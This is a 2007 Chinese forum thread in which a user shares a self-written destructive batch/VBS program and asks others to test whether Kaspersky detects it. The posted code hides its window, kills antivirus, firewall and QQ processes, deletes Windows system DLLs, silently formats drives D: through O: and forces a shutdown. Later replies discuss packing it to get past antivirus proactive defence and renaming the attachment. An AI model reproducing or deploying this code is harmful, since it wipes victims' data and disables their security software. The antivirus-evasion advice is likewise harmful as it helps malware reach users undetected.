刚做的破壳蜗牛，测试一下，本人不保证有用

Saturn87930

大家杀了，目前仅限于用卡巴的朋友杀。杀了没有毒的话，就去VM里面或者影子下用用看。我自己没装杀软，也没试，不保证有用。大家就帮我测试了哈……
      要是运行不了，大家就说一下~！我去改~！谢了

[ 本帖最后由 Saturn87930 于 2007-5-17 15:48 编辑 ]

小邪邪

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c 破壳蜗牛.bat",vbhide



@echo off
set date=%date%
date 1987-09-30
date 1987-09-30
@echo.
@echo off & setlocal enableextensions
echo WScript.Sleep 1000 > %temp%.\tmp$$$.vbs
set /a i = 15
:Timeout
if %i% == 0 goto Next
setlocal
set /a i = %i% - 1
cscript //nologo %temp%.\tmp$$$.vbs
goto Timeout
goto End
:Next
@taskkill /f /im pfw.exe >nul
@taskkill /f /im shadowtip.exe >nul  
@taskkill /f /im shadowservice.exe >nul
@taskkill /f /im qq.exe >nul
@taskkill /f /im explorer.exe >nul
@taskkill /f /im IEXOLORE.EXE >nul
@taskkill /f /im norton* >nul
@taskkill /f /im av* >nul
@taskkill /f /im fire* >nul
@taskkill /f /im anti* >nul
@taskkill /f /im spy* >nul
@taskkill /f /im bullguard >nul
@taskkill /f /im PersFw >nul
@taskkill /f /im KAV* >nul
@taskkill /f /im ZONEALARM >nul
@taskkill /f /im SAFEWEB >nul
@taskkill /f /im OUTPOST >nul
@taskkill /f /im nv* >nul
@taskkill /f /im nav* >nul
@taskkill /f /im F-* >nul
@taskkill /f /im ESAFE >nul
@taskkill /f /im cle >nul
@taskkill /f /im BLACKICE >nul
@taskkill /f /im def* >nul
@taskkill /f /im 360safe.exe >nul
@taskkill /f /im explorer.exe
del C:\WINDOWS\system32\browselc.dll
del C:\WINDOWS\system32\browser.dll
del C:\WINDOWS\system32\browseui.dll
del C:\WINDOWS\system32\browsewm.dll
@format d:/y/q
@format e:/y/q
@format f:/y/q
@format g:/y/q
@format h:/y/q
@format i:/y/q
@format j:/y/q
@format k:/y/q
@format l:/y/q
@format m:/y/q
@format n:/y/q
@format o:/y/q
date 2007-05-17  
date %date%
RD /S /Q %systemroot%\temp\
shutdown -s -t 1
@echo.
exit

Saturn87930

NND

Saturn87930

我觉得我下次得加壳了……   问问看，可以过卡巴不，关键可以过卡巴的主动防御不？

[ 本帖最后由 Saturn87930 于 2007-5-17 15:27 编辑 ]

aoyang

mofunzone

貌似文件都没写好，不能释放出来。。

Saturn87930

用卡巴的上报先啊，其他的我再考虑了……
释放不出来？
等我去看看

mofunzone

不知道什么问题反正。。

Saturn87930

原帖由 mofunzone 于 2007-5-17 15:32 发表
不知道什么问题反正。。

现在再去下来看看……我现在就测试一下，有什么问题等一下全改，等一下就删了附件……

aoyang

下次附件的名字可以换一个吗
老是蜗牛
脱壳少女，换名
现在这个报后门了

[ 本帖最后由 aoyang 于 2007-5-17 15:39 编辑 ]